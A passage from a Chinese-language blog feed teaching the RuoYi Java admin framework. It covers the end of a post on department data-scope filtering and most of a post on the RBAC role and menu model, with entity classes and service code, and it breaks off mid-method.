&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;数据权限实现&lt;/h2&gt;
&lt;h3&gt;@DataScope 注解处理&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/framework/aspectj/DataScopeAspect.java
package com.ruoyi.framework.aspectj;

import org.aspectj.lang.JoinPoint;
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.Before;
import org.springframework.stereotype.Component;
import com.ruoyi.common.annotation.DataScope;
import com.ruoyi.common.constant.UserConstants;
import com.ruoyi.common.core.domain.BaseEntity;
import com.ruoyi.common.core.domain.entity.SysRole;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.utils.ShiroUtils;
import com.ruoyi.common.utils.StringUtils;

/**
 * 数据过滤处理
 * 
 * @author ruoyi
 */
@Aspect
@Component
public class DataScopeAspect {
    /**
     * 全部数据权限
     */
    public static final String DATA_SCOPE_ALL = &quot;1&quot;;

    /**
     * 自定义数据权限
     */
    public static final String DATA_SCOPE_CUSTOM = &quot;2&quot;;

    /**
     * 部门数据权限
     */
    public static final String DATA_SCOPE_DEPT = &quot;3&quot;;

    /**
     * 部门及以下数据权限
     */
    public static final String DATA_SCOPE_DEPT_AND_CHILD = &quot;4&quot;;

    /**
     * 仅本人数据权限
     */
    public static final String DATA_SCOPE_SELF = &quot;5&quot;;

    @Before(&quot;@annotation(dataScope)&quot;)
    public void doBefore(JoinPoint point, DataScope dataScope) {
        handleDataScope(point, dataScope);
    }

    protected void handleDataScope(JoinPoint joinPoint, DataScope dataScope) {
        // 获取当前的用户
        SysUser currentUser = ShiroUtils.getSysUser();
        if (StringUtils.isNotNull(currentUser)) {
            // 如果是超级管理员，则不过滤数据
            if (!currentUser.isAdmin()) {
                filterDataScope(joinPoint, currentUser, dataScope);
            }
        }
    }

    /**
     * 数据范围过滤
     */
    private void filterDataScope(JoinPoint joinPoint, SysUser user, DataScope dataScope) {
        StringBuilder sqlString = new StringBuilder();
        List&amp;lt;SysRole&amp;gt; roles = user.getRoles();
        for (SysRole role : roles) {
            String scopeType = role.getDataScope();
            if (DATA_SCOPE_ALL.equals(scopeType)) {
                sqlString = new StringBuilder();
                break;
            } else if (DATA_SCOPE_CUSTOM.equals(scopeType)) {
                sqlString.append(StringUtils.format(
                    &quot; OR {}.dept_id IN ( SELECT dept_id FROM sys_role_dept WHERE role_id = {} )&quot;,
                    dataScope.deptAlias(), role.getRoleId()));
            } else if (DATA_SCOPE_DEPT.equals(scopeType)) {
                sqlString.append(StringUtils.format(
                    &quot; OR {}.dept_id = {}&quot;, dataScope.deptAlias(), user.getDeptId()));
            } else if (DATA_SCOPE_DEPT_AND_CHILD.equals(scopeType)) {
                String deptChild = user.getDeptId() + &quot;&quot;;
                sqlString.append(StringUtils.format(
                    &quot; OR {}.dept_id IN ( SELECT dept_id FROM sys_dept WHERE dept_id = {} or find_in_set( {} , ancestors ) )&quot;,
                    dataScope.deptAlias(), user.getDeptId(), deptChild));
            } else if (DATA_SCOPE_SELF.equals(scopeType)) {
                sqlString.append(StringUtils.format(
                    &quot; OR {}.user_id = {}&quot;, dataScope.userAlias(), user.getUserId()));
            }
        }
        if (StringUtils.isEmpty(sqlString.toString())) {
            sqlString = new StringBuilder(StringUtils.format(&quot; OR {}.user_id = {}&quot;, 
                    dataScope.userAlias(), user.getUserId()));
        }
        // 将sql拼接到BaseEntity的params中
        BaseEntity baseEntity = (BaseEntity) joinPoint.getArgs()[0];
        baseEntity.getParams().put(&quot;dataScope&quot;, sqlString.toString());
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// 部门管理核心流程
// 1. 新增部门
dept.setAncestors(parentDept.getAncestors() + &quot;,&quot; + parentId);
deptMapper.insertDept(dept);

// 2. 修改部门（更新子部门的 ancestors）
updateDeptChildren(deptId, newAncestors, oldAncestors);

// 3. 查询所有下级部门
SELECT * FROM sys_dept WHERE find_in_set(101, ancestors);

// 4. 数据权限过滤
@DataScope(deptAlias = &quot;d&quot;)
public List&amp;lt;SysDept&amp;gt; selectDeptList(SysDept dept);

// 5. 岗位关联用户
List&amp;lt;SysPost&amp;gt; posts = postService.selectPostsByUserId(userId);
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类名&lt;/th&gt;
&lt;th&gt;职责&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SysDept&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;部门实体类&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SysPost&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;岗位实体类&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SysUserPost&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;用户岗位关联&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ISysDeptService&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;部门服务接口&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ISysPostService&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;岗位服务接口&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DataScopeAspect&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;数据权限切面&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Ztree&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;树形结构数据&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;数据权限类型&lt;/th&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;全部数据&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;超级管理员&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;自定义数据&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;指定部门&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;本部门数据&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;当前部门&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;本部门及以下&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;当前部门及子部门&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;仅本人数据&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;只能看自己的&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一步：&lt;a href=&quot;/blog/posts/ruoyi-roadmap-08-dict-config/&quot;&gt;阶段八：字典与参数管理&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在阶段八中，我们将学习系统配置管理，包括数据字典和参数配置。&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>RuoYi 阶段六：角色与菜单管理</title><link>http://117.72.32.87/blog/posts/ruoyi-roadmap-06-role-menu/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/ruoyi-roadmap-06-role-menu/</guid><description>深入理解 RBAC 权限模型，掌握角色和菜单的关联关系，实现动态菜单树和权限分配。</description><pubDate>Mon, 07 Sep 2026 08:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文是 RuoYi 学习路线的&lt;strong&gt;阶段六&lt;/strong&gt;，聚焦 RBAC 权限模型。学完本篇你应该能：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;理解 RBAC 权限模型的设计思想&lt;/li&gt;
&lt;li&gt;掌握角色和菜单的关联关系&lt;/li&gt;
&lt;li&gt;知道如何构建动态菜单树&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h2&gt;前端视角：RBAC 像什么？&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;RuoYi RBAC&lt;/th&gt;
&lt;th&gt;前端类比&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SysRole&lt;/code&gt; 角色&lt;/td&gt;
&lt;td&gt;用户角色类型 (admin/user/guest)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SysMenu&lt;/code&gt; 菜单&lt;/td&gt;
&lt;td&gt;路由配置 + 侧边栏菜单项&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;权限标识&lt;/td&gt;
&lt;td&gt;按钮级别权限控制 (v-permission)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;菜单树&lt;/td&gt;
&lt;td&gt;TreeSelect 组件数据&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;角色关联菜单&lt;/td&gt;
&lt;td&gt;角色权限配置面板&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;RBAC 权限模型&lt;/h2&gt;
&lt;p&gt;RBAC (Role-Based Access Control) 基于角色的访问控制，核心思想：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;用户 (User) → 角色 (Role) → 权限 (Permission/Menu)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;数据表关系&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;sys_user ←→ sys_user_role ←→ sys_role ←→ sys_role_menu ←→ sys_menu
   |              |                |              |               |
 用户表        用户角色关联       角色表        角色菜单关联      菜单表
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;权限流程图&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;用户登录
    ↓
查询用户的角色列表
    ↓
查询角色关联的菜单列表
    ↓
提取权限标识 (如 system:user:add)
    ↓
Shiro 授权
    ↓
页面显示对应按钮/菜单
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;角色实体类 (SysRole)&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/common/core/domain/entity/SysRole.java
package com.ruoyi.common.core.domain.entity;

import javax.validation.constraints.*;
import org.apache.commons.lang3.builder.ToStringBuilder;
import org.apache.commons.lang3.builder.ToStringStyle;
import com.ruoyi.common.annotation.Excel;
import com.ruoyi.common.annotation.Excel.ColumnType;
import com.ruoyi.common.core.domain.BaseEntity;

/**
 * 角色表 sys_role
 * 
 * @author ruoyi
 */
public class SysRole extends BaseEntity {
    private static final long serialVersionUID = 1L;

    /** 角色ID */
    @Excel(name = &quot;角色序号&quot;, cellType = ColumnType.NUMERIC)
    private Long roleId;

    /** 角色名称 */
    @Excel(name = &quot;角色名称&quot;)
    private String roleName;

    /** 角色权限字符串 */
    @Excel(name = &quot;角色权限&quot;)
    private String roleKey;

    /** 角色排序 */
    @Excel(name = &quot;角色排序&quot;, cellType = ColumnType.NUMERIC)
    private Integer roleSort;

    /** 数据范围（1：全部数据权限；2：自定义数据权限；3：本部门数据权限；4：本部门及以下数据权限；5：仅本人数据权限） */
    @Excel(name = &quot;数据范围&quot;, readConverterExp = &quot;1=所有数据权限,2=自定义数据权限,3=本部门数据权限,4=本部门及以下数据权限,5=仅本人数据权限&quot;)
    private String dataScope;

    /** 角色状态（0正常 1停用） */
    @Excel(name = &quot;角色状态&quot;, readConverterExp = &quot;0=正常,1=停用&quot;)
    private String status;

    /** 删除标志（0代表存在 2代表删除） */
    private String delFlag;

    /** 用户是否存在此角色标识 */
    private boolean flag = false;

    /** 菜单组 */
    private Long[] menuIds;

    /** 部门组（数据权限） */
    private Long[] deptIds;

    public SysRole() {
    }

    public SysRole(Long roleId) {
        this.roleId = roleId;
    }

    public Long getRoleId() {
        return roleId;
    }

    public void setRoleId(Long roleId) {
        this.roleId = roleId;
    }

    public boolean isAdmin() {
        return isAdmin(this.roleId);
    }

    public static boolean isAdmin(Long roleId) {
        return roleId != null &amp;amp;&amp;amp; 1L == roleId;
    }

    @NotBlank(message = &quot;角色名称不能为空&quot;)
    @Size(min = 0, max = 30, message = &quot;角色名称长度不能超过30个字符&quot;)
    public String getRoleName() {
        return roleName;
    }

    @NotBlank(message = &quot;权限字符不能为空&quot;)
    @Size(min = 0, max = 100, message = &quot;权限字符长度不能超过100个字符&quot;)
    public String getRoleKey() {
        return roleKey;
    }

    @NotBlank(message = &quot;显示顺序不能为空&quot;)
    public Integer getRoleSort() {
        return roleSort;
    }

    public String getDataScope() {
        return dataScope;
    }

    public void setDataScope(String dataScope) {
        this.dataScope = dataScope;
    }

    public String getStatus() {
        return status;
    }

    public void setStatus(String status) {
        this.status = status;
    }

    public String getDelFlag() {
        return delFlag;
    }

    public void setDelFlag(String delFlag) {
        this.delFlag = delFlag;
    }

    public boolean isFlag() {
        return flag;
    }

    public void setFlag(boolean flag) {
        this.flag = flag;
    }

    public Long[] getMenuIds() {
        return menuIds;
    }

    public void setMenuIds(Long[] menuIds) {
        this.menuIds = menuIds;
    }

    public Long[] getDeptIds() {
        return deptIds;
    }

    public void setDeptIds(Long[] deptIds) {
        this.deptIds = deptIds;
    }

    @Override
    public String toString() {
        return new ToStringBuilder(this, ToStringStyle.MULTI_LINE_STYLE)
            .append(&quot;roleId&quot;, getRoleId())
            .append(&quot;roleName&quot;, getRoleName())
            .append(&quot;roleKey&quot;, getRoleKey())
            .append(&quot;roleSort&quot;, getRoleSort())
            .append(&quot;dataScope&quot;, getDataScope())
            .append(&quot;status&quot;, getStatus())
            .append(&quot;delFlag&quot;, getDelFlag())
            .append(&quot;createBy&quot;, getCreateBy())
            .append(&quot;createTime&quot;, getCreateTime())
            .append(&quot;updateBy&quot;, getUpdateBy())
            .append(&quot;updateTime&quot;, getUpdateTime())
            .append(&quot;remark&quot;, getRemark())
            .toString();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;菜单实体类 (SysMenu)&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/system/domain/SysMenu.java
package com.ruoyi.system.domain;

import java.util.ArrayList;
import java.util.List;
import javax.validation.constraints.*;
import org.apache.commons.lang3.builder.ToStringBuilder;
import org.apache.commons.lang3.builder.ToStringStyle;
import com.ruoyi.common.core.domain.BaseEntity;

/**
 * 菜单权限表 sys_menu
 * 
 * @author ruoyi
 */
public class SysMenu extends BaseEntity {
    private static final long serialVersionUID = 1L;

    /** 菜单ID */
    private Long menuId;

    /** 菜单名称 */
    private String menuName;

    /** 父菜单名称 */
    private String parentName;

    /** 父菜单ID */
    private Long parentId;

    /** 显示顺序 */
    private Integer orderNum;

    /** 菜单URL */
    private String url;

    /** 打开方式（menuItem页签 menuBlank新窗口） */
    private String target;

    /** 类型（M目录 C菜单 F按钮） */
    private String menuType;

    /** 菜单状态（0显示 1隐藏） */
    private String visible;

    /** 是否刷新（0刷新 1不刷新） */
    private String isRefresh;

    /** 权限字符串 */
    private String perms;

    /** 菜单图标 */
    private String icon;

    /** 子菜单 */
    private List&amp;lt;SysMenu&amp;gt; children = new ArrayList&amp;lt;SysMenu&amp;gt;();

    public Long getMenuId() {
        return menuId;
    }

    public void setMenuId(Long menuId) {
        this.menuId = menuId;
    }

    @NotBlank(message = &quot;菜单名称不能为空&quot;)
    @Size(min = 0, max = 50, message = &quot;菜单名称长度不能超过50个字符&quot;)
    public String getMenuName() {
        return menuName;
    }

    public void setMenuName(String menuName) {
        this.menuName = menuName;
    }

    public String getParentName() {
        return parentName;
    }

    public void setParentName(String parentName) {
        this.parentName = parentName;
    }

    public Long getParentId() {
        return parentId;
    }

    public void setParentId(Long parentId) {
        this.parentId = parentId;
    }

    @NotNull(message = &quot;显示顺序不能为空&quot;)
    public Integer getOrderNum() {
        return orderNum;
    }

    public void setOrderNum(Integer orderNum) {
        this.orderNum = orderNum;
    }

    @Size(min = 0, max = 200, message = &quot;请求地址不能超过200个字符&quot;)
    public String getUrl() {
        return url;
    }

    public void setUrl(String url) {
        this.url = url;
    }

    public String getTarget() {
        return target;
    }

    public void setTarget(String target) {
        this.target = target;
    }

    @NotBlank(message = &quot;菜单类型不能为空&quot;)
    public String getMenuType() {
        return menuType;
    }

    public void setMenuType(String menuType) {
        this.menuType = menuType;
    }

    public String getVisible() {
        return visible;
    }

    public void setVisible(String visible) {
        this.visible = visible;
    }

    public String getIsRefresh() {
        return isRefresh;
    }

    public void setIsRefresh(String isRefresh) {
        this.isRefresh = isRefresh;
    }

    @Size(min = 0, max = 100, message = &quot;权限标识长度不能超过100个字符&quot;)
    public String getPerms() {
        return perms;
    }

    public void setPerms(String perms) {
        this.perms = StringUtils.isEmpty(perms) ? &quot;&quot; : perms.trim();
    }

    public String getIcon() {
        return icon;
    }

    public void setIcon(String icon) {
        this.icon = icon;
    }

    public List&amp;lt;SysMenu&amp;gt; getChildren() {
        return children;
    }

    public void setChildren(List&amp;lt;SysMenu&amp;gt; children) {
        this.children = children;
    }

    @Override
    public String toString() {
        return new ToStringBuilder(this, ToStringStyle.MULTI_LINE_STYLE)
            .append(&quot;menuId&quot;, getMenuId())
            .append(&quot;menuName&quot;, getMenuName())
            .append(&quot;parentId&quot;, getParentId())
            .append(&quot;orderNum&quot;, getOrderNum())
            .append(&quot;url&quot;, getUrl())
            .append(&quot;target&quot;, getTarget())
            .append(&quot;menuType&quot;, getMenuType())
            .append(&quot;visible&quot;, getVisible())
            .append(&quot;perms&quot;, getPerms())
            .append(&quot;icon&quot;, getIcon())
            .append(&quot;createBy&quot;, getCreateBy())
            .append(&quot;createTime&quot;, getCreateTime())
            .append(&quot;updateBy&quot;, getUpdateBy())
            .append(&quot;updateTime&quot;, getUpdateTime())
            .append(&quot;remark&quot;, getRemark())
            .toString();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;菜单类型&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;目录&lt;/td&gt;
&lt;td&gt;M&lt;/td&gt;
&lt;td&gt;一级菜单，不直接访问页面&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;菜单&lt;/td&gt;
&lt;td&gt;C&lt;/td&gt;
&lt;td&gt;二级菜单，对应具体页面&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;按钮&lt;/td&gt;
&lt;td&gt;F&lt;/td&gt;
&lt;td&gt;按钮级权限，如新增/修改/删除&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;角色 Service 实现&lt;/h2&gt;
&lt;h3&gt;接口定义&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/system/service/ISysRoleService.java
package com.ruoyi.system.service;

import java.util.List;
import java.util.Set;
import com.ruoyi.common.core.domain.entity.SysRole;
import com.ruoyi.system.domain.SysUserRole;

/**
 * 角色业务层
 * 
 * @author ruoyi
 */
public interface ISysRoleService {
    /**
     * 根据条件分页查询角色数据
     */
    public List&amp;lt;SysRole&amp;gt; selectRoleList(SysRole role);

    /**
     * 根据用户ID查询角色
     */
    public Set&amp;lt;SysRole&amp;gt; selectRolesByUserId(Long userId);

    /**
     * 查询所有角色
     */
    public List&amp;lt;SysRole&amp;gt; selectRoleAll();

    /**
     * 通过角色ID查询角色
     */
    public SysRole selectRoleById(Long roleId);

    /**
     * 通过角色ID删除角色
     */
    public boolean deleteRoleById(Long roleId);

    /**
     * 批量删除角色用户信息
     */
    public int deleteRoleByIds(String ids);

    /**
     * 新增保存角色信息
     */
    public int insertRole(SysRole role);

    /**
     * 修改保存角色信息
     */
    public int updateRole(SysRole role);

    /**
     * 修改数据权限信息
     */
    public int authDataScope(SysRole role);

    /**
     * 校验角色名称是否唯一
     */
    public String checkRoleNameUnique(SysRole role);

    /**
     * 校验角色权限是否唯一
     */
    public String checkRoleKeyUnique(SysRole role);

    /**
     * 校验角色是否允许操作
     */
    public void checkRoleAllowed(SysRole role);

    /**
     * 取消授权用户角色
     */
    public int deleteAuthUser(SysUserRole userRole);

    /**
     * 批量取消授权用户角色
     */
    public int deleteAuthUsers(Long roleId, String userIds);

    /**
     * 批量选择授权用户角色
     */
    public int insertAuthUsers(Long roleId, String userIds);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;实现类核心方法&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/system/service/impl/SysRoleServiceImpl.java
package com.ruoyi.system.service.impl;

import java.util.*;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import com.ruoyi.common.annotation.DataScope;
import com.ruoyi.common.constant.UserConstants;
import com.ruoyi.common.core.domain.entity.SysRole;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.text.Convert;
import com.ruoyi.common.exception.ServiceException;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.common.utils.spring.SpringUtils;
import com.ruoyi.system.domain.SysRoleDept;
import com.ruoyi.system.domain.SysRoleMenu;
import com.ruoyi.system.domain.SysUserRole;
import com.ruoyi.system.mapper.*;
import com.ruoyi.system.service.ISysRoleService;

/**
 * 角色 业务层处理
 * 
 * @author ruoyi
 */
@Service
public class SysRoleServiceImpl implements ISysRoleService {
    @Autowired
    private SysRoleMapper roleMapper;

    @Autowired
    private SysRoleMenuMapper roleMenuMapper;

    @Autowired
    private SysUserRoleMapper userRoleMapper;

    @Autowired
    private SysRoleDeptMapper roleDeptMapper;

    /**
     * 根据条件分页查询角色数据
     */
    @Override
    @DataScope(deptAlias = &quot;d&quot;)
    public List&amp;lt;SysRole&amp;gt; selectRoleList(SysRole role) {
        return roleMapper.selectRoleList(role);
    }

    /**
     * 根据用户ID查询角色
     */
    @Override
    public Set&amp;lt;SysRole&amp;gt; selectRolesByUserId(Long userId) {
        List&amp;lt;SysRole&amp;gt; userRoles = roleMapper.selectRolesByUserId(userId);
        List&amp;lt;SysRole&amp;gt; roles = selectRoleAll();
        for (SysRole role : roles) {
            for (SysRole userRole : userRoles) {
                if (role.getRoleId().longValue() == userRole.getRoleId().longValue()) {
                    role.setFlag(true);
                    break;
                }
            }
        }
        return new LinkedHashSet&amp;lt;SysRole&amp;gt;(roles);
    }

    /**
     * 查询所有角色
     */
    @Override
    public List&amp;lt;SysRole&amp;gt; selectRoleAll() {
        return SpringUtils.getAopProxy(this).selectRoleList(new SysRole());
    }

    /**
     * 新增保存角色信息
     */
    @Override
    @Transactional
    public int insertRole(SysRole role) {
        // 新增角色信息
        roleMapper.insertRole(role);
        return insertRoleMenu(role);
    }

    /**
     * 修改保存角色信息
     */
    @Override
    @Transactional
    public int updateRole(SysRole role) {
        // 修改角色信息
        roleMapper.updateRole(role);
        // 删除角色与菜单关联
        roleMenuMapper.deleteRoleMenuByRoleId(role.getRoleId());
        return insertRoleMenu(role);
    }

    /**
     * 新增角色菜单信息
     */
    public int insertRoleMenu(SysRole role) {
        int rows = 1;
        // 新增用户与角色管理
        List&amp;lt;SysRoleMenu&amp;gt; list = new ArrayList&amp;lt;SysRoleMenu&amp;gt;();
        for (Long menuId : role.getMenuIds()) {
            SysRoleMenu rm = new SysRoleMenu();
            rm.setRoleId(role.getRoleId());
            rm.setMenuId(menuId);
            list.add(rm);
        }
        if (list.size() &amp;gt; 0) {
            rows = roleMenuMapper.batchRoleMenu(list);
        }
        return rows;
    }

    /**
     * 修改数据权限信息
     */
    @Override
    @Transactional
    public int authDataScope(SysRole role) {
        // 修改角色信息
        roleMapper.updateRole(role);
        // 删除角色与部门关联
        roleDeptMapper.deleteRoleDeptByRoleId(role.getRoleId());
        // 新增角色和部门信息（数据权限）
        return insertRoleDept(role);
    }

    /**
     * 新增角色部门信息（数据权限）
     */
    public int insertRoleDept(SysRole role) {
        int rows = 1;
        // 新增角色与部门管理
        List&amp;lt;SysRoleDept&amp;gt; list = new ArrayList&amp;lt;SysRoleDept&amp;gt;();
        for (Long deptId : role.getDeptIds()) {
            SysRoleDept rd = new SysRoleDept();
            rd.setRoleId(role.getRoleId());
            rd.setDeptId(deptId);
            list.add(rd);
        }
        if (list.size() &amp;gt; 0) {
            rows = roleDeptMapper.batchRoleDept(list);
        }
        return rows;
    }

    /**
     * 校验角色名称是否唯一
     */
    @Override
    public String checkRoleNameUnique(SysRole role) {
        Long roleId = StringUtils.isNull(role.getRoleId()) ? -1L : role.getRoleId();
        SysRole info = roleMapper.checkRoleNameUnique(role.getRoleName());
        if (StringUtils.isNotNull(info) &amp;amp;&amp;amp; info.getRoleId().longValue() != roleId.longValue()) {
            return UserConstants.NOT_UNIQUE;
        }
        return UserConstants.UNIQUE;
    }

    /**
     * 校验角色权限是否唯一
     */
    @Override
    public String checkRoleKeyUnique(SysRole role) {
        Long roleId = StringUtils.isNull(role.getRoleId()) ? -1L : role.getRoleId();
        SysRole info = roleMapper.checkRoleKeyUnique(role.getRoleKey());
        if (StringUtils.isNotNull(info) &amp;amp;&amp;amp; info.getRoleId().longValue() != roleId.longValue()) {
            return UserConstants.NOT_UNIQUE;
        }
        return UserConstants.UNIQUE;
    }

    /**
     * 校验角色是否允许操作
     */
    @Override
    public void checkRoleAllowed(SysRole role) {
        if (StringUtils.isNotNull(role.getRoleId()) &amp;amp;&amp;amp; role.isAdmin()) {
            throw new ServiceException(&quot;不允许操作超级管理员角色&quot;);
        }
    }

    /**
     * 批量删除角色信息
     */
    @Override
    public int deleteRoleByIds(String ids) {
        Long[] roleIds = Convert.toLongArray(ids);
        for (Long roleId : roleIds) {
            checkRoleAllowed(new SysRole(roleId));
            SysRole role = selectRoleById(roleId);
            if (countUserRoleByRoleId(roleId) &amp;gt; 0) {
                throw new ServiceException(String.format(&quot;%1$s已分配,不能删除&quot;, role.getRoleName()));
            }
        }
        // 删除角色与菜单关联
        roleMenuMapper.deleteRoleMenu(roleIds);
        // 删除角色与部门关联
        roleDeptMapper.deleteRoleDept(roleIds);
        return roleMapper.deleteRoleByIds(roleIds);
    }

    /**
     * 查询角色绑定用户数
     */
    public int countUserRoleByRoleId(Long roleId) {
        return userRoleMapper.countUserRoleByRoleId(roleId);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;菜单 Service 实现&lt;/h2&gt;
&lt;h3&gt;接口定义&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/system/service/ISysMenuService.java
package com.ruoyi.system.service;

import java.util.List;
import java.util.Map;
import java.util.Set;
import com.ruoyi.common.core.domain.Ztree;
import com.ruoyi.system.domain.SysMenu;

/**
 * 菜单 业务层
 * 
 * @author ruoyi
 */
public interface ISysMenuService {
    /**
     * 根据用户查询系统菜单列表
     */
    public List&amp;lt;SysMenu&amp;gt; selectMenusByUser(SysUser user);

    /**
     * 查询系统菜单列表
     */
    public List&amp;lt;SysMenu&amp;gt; selectMenuList(SysMenu menu);

    /**
     * 查询菜单集合
     */
    public List&amp;lt;SysMenu&amp;gt; selectMenuAll();

    /**
     * 根据用户ID查询权限
     */
    public Set&amp;lt;String&amp;gt; selectPermsByUserId(Long userId);

    /**
     * 根据角色ID查询菜单
     */
    public List&amp;lt;Ztree&amp;gt; roleMenuTreeData(Long roleId);

    /**
     * 查询所有菜单信息
     */
    public List&amp;lt;Ztree&amp;gt; menuTreeData();

    /**
     * 根据菜单ID查询信息
     */
    public SysMenu selectMenuById(Long menuId);

    /**
     * 删除菜单信息
     */
    public int deleteMenuById(Long menuId);

    /**
     * 新增保存菜单信息
     */
    public int insertMenu(SysMenu menu);

    /**
     * 修改保存菜单信息
     */
    public int updateMenu(SysMenu menu);

    /**
     * 校验菜单名称是否唯一
     */
    public String checkMenuNameUnique(SysMenu menu);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;构建菜单树&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/**
 * 构建前端需要的树结构
 */
public List&amp;lt;Ztree&amp;gt; initZtree(List&amp;lt;SysMenu&amp;gt; menus) {
    List&amp;lt;Ztree&amp;gt; ztrees = new ArrayList&amp;lt;Ztree&amp;gt;();
    boolean isChild = true;
    for (SysMenu menu : menus) {
        Ztree ztree = new Ztree();
        ztree.setId(menu.getMenuId());
        ztree.setpId(menu.getParentId());
        ztree.setName(transMenuName(menu, isChild));
        ztree.setTitle(menu.getMenuName());
        ztree.setChecked(menu.isVisible());
        ztree.setOpen(menu.isOpen());
        ztrees.add(ztree);
    }
    return ztrees;
}

/**
 * 转换菜单名称
 */
public String transMenuName(SysMenu menu, boolean isChild) {
    if (isChild) {
        return menu.getMenuName();
    }
    return menu.getMenuName() + &quot;/&quot; + menu.getPerms();
}

/**
 * 递归构建菜单树
 */
public List&amp;lt;SysMenu&amp;gt; getChildPerms(List&amp;lt;SysMenu&amp;gt; list, int parentId) {
